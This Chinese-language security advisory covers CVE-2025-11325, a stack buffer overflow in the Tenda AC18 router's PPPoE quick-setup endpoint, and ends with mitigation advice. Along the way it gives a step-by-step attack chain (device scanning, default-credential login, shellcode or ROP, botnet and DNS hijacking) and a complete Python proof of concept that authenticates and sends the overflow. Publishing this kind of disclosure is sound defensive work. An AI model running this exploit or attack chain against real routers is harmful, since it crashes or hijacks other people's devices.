IPBUF安全漏洞报告
English
CVE-2025-11325 CVSS 8.8 高危

CVE-2025-11325:Tenda AC18路由器PPPoE设置接口栈缓冲区溢出漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11325
漏洞类型
栈缓冲区溢出(Stack-based Buffer Overflow)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC18 路由器

相关标签

CVE-2025-11325Tenda AC18栈缓冲区溢出Stack Buffer OverflowPPPoEIoT漏洞路由器安全远程代码执行高危漏洞CVSS 8.8

漏洞概述

CVE-2025-11325是Tenda AC18无线路由器(固件版本15.03.05.19(6318))中存在的一个高危安全漏洞。该漏洞位于路由器管理接口的/goform/fast_setting_pppoe_set路径中,属于PPPoE快速设置功能模块。攻击者可以通过远程方式向该接口发送特制的HTTP请求,对参数Username进行恶意构造的数据填充,由于该参数在处理过程中未进行充分的长度校验或边界检查,导致数据溢出至栈空间,从而引发栈缓冲区溢出漏洞。

该漏洞的CVSS 3.1评分为8.8分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需低权限认证(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。这意味着在获取路由器管理权限后,攻击者可以远程利用此漏洞实现任意代码执行,完全控制受影响的路由器设备。

值得注意的是,该漏洞的利用代码(PoC)已经被公开发布在GitHub等平台上,任何具备基本网络知识的攻击者都可以轻松获取并实施攻击。考虑到Tenda路由器在消费级市场的广泛部署,以及物联网设备在家庭和企业网络中的核心地位,此漏洞的潜在威胁不容忽视。攻击者可以利用此漏洞构建僵尸网络、窃取网络流量中的敏感信息、篡改DNS设置进行钓鱼攻击,或将受感染设备作为跳板攻击内网其他设备。

技术细节

该漏洞的根本原因在于/goform/fast_setting_pppoe_set接口在处理PPPoE连接的Username参数时,未对该参数的长度进行有效校验。当用户通过Web管理界面或API调用配置PPPoE拨号连接时,系统会将Username参数的值复制到栈上的固定大小缓冲区中。

攻击者可以构造一个超长的Username字符串(通常超过缓冲区容量),当该字符串被复制到栈缓冲区时,会覆盖栈上的返回地址、帧指针以及其他关键的控制数据。通过精心构造溢出数据,攻击者可以控制程序的执行流程,将其重定向到攻击者预设的shellcode或ROP链地址。由于该设备运行的是MIPS架构的嵌入式Linux系统,攻击者需要构造适用于该架构的shellcode。

漏洞利用的关键步骤包括:1)通过Web管理界面登录认证获取会话Cookie;2)构造包含超长Username字段的HTTP POST请求发送到/goform/fast_setting_pppoe_set端点;3)触发缓冲区溢出后,通过控制返回地址执行恶意代码。整个攻击过程可在远程完成,且无需目标设备的物理接触。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者通过Shodan、ZoomEye等物联网搜索引擎,或扫描特定网段,识别运行Tenda AC18固件版本15.03.05.19(6318)的在线路由器设备,并确定其管理界面IP地址和端口。
STEP 2
步骤2:获取认证凭据
攻击者通过默认凭据(admin/admin)、暴力破解、社会工程或利用其他已知漏洞获取路由器的Web管理界面访问权限,获取有效的会话Cookie。由于CVSS向量中PR:L为低权限要求,仅需基本认证即可。
STEP 3
步骤3:构造恶意请求
攻击者构造一个HTTP POST请求,目标为/goform/fast_setting_pppoe_set接口,在Username参数中填充超长字符串(通常数百字节),使其超出栈缓冲区的容量限制。
STEP 4
步骤4:触发缓冲区溢出
发送构造好的恶意请求到目标设备。服务器端程序在处理Username参数时,由于缺少长度校验,将超长数据复制到栈缓冲区,覆盖返回地址和关键控制数据。
STEP 5
步骤5:执行任意代码
溢出成功后,攻击者通过精心构造的ROP链或shellcode(针对MIPS架构)劫持程序执行流程,实现远程代码执行,从而完全控制路由器设备。
STEP 6
步骤6:后续恶意活动
获取设备控制权后,攻击者可植入持久化后门、篡改DNS设置实施钓鱼或流量劫持、将设备纳入僵尸网络(DDoS)、窃取网络流量中的敏感数据,或作为内网渗透的跳板攻击其他设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11325 - Tenda AC18 fast_setting_pppoe_set Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via Username parameter # Affected: Tenda AC18 firmware 15.03.05.19(6318) import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit(target_ip, target_port=80, username='admin', password='admin'): """ Exploit the stack-based buffer overflow in fast_setting_pppoe_set endpoint. The Username parameter is vulnerable to stack buffer overflow. """ base_url = f"http://{target_ip}:{target_port}" login_url = f"{base_url}/login/Auth" exploit_url = f"{base_url}/goform/fast_setting_pppoe_set" session = requests.Session() # Step 1: Authenticate to obtain session cookie login_data = { 'username': username, 'password': password, } try: resp = session.post(login_url, data=login_data, timeout=10, verify=False) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Construct the overflow payload # The buffer is typically small; overflow with a large Username value # Adjust the padding length based on the specific buffer size padding = b'A' * 256 # Overflow padding to reach return address # MIPS return address placeholder (e.g., 0x7f010000 - libc gadget) # In real exploitation, replace with actual ROP chain / shellcode address ret_addr = b'\x41\x41\x41\x41' payload = padding + ret_addr # Step 3: Send the malicious PPPoE configuration request exploit_data = { 'Username': payload.decode('latin-1'), 'Password': 'password123', 'Server': '0.0.0.0', 'IP': '0.0.0.0', } try: resp = session.post(exploit_url, data=exploit_data, timeout=10, verify=False) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") return True except Exception as e: print(f"[-] Exploit request failed (device may have crashed): {e}") return True # Crash indicates successful overflow if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password]") print(f"Example: {sys.argv[0]} 192.168.0.1 80 admin admin") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else 'admin' pwd = sys.argv[4] if len(sys.argv) > 4 else 'admin' print(f"[*] Targeting Tenda AC18 at {target}:{port}") print("[*] CVE-2025-11325 - Stack Buffer Overflow via Username parameter") exploit(target, port, user, pwd)

影响范围

Tenda AC18 固件版本 15.03.05.19(6318)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)立即修改路由器默认管理员密码,使用强密码策略;2)禁用路由器的远程Web管理功能,仅允许通过内网访问管理界面;3)在防火墙中设置访问控制列表(ACL),限制对路由器管理端口的外部访问;4)监控路由器日志,警惕来自/goform/fast_setting_pppoe_set接口的异常请求;5)如非必要,可暂时禁用PPPoE快速设置功能或限制管理界面访问IP;6)考虑使用网络监控工具(如Snort)部署针对该漏洞利用特征的入侵检测规则,及时发现和阻断攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表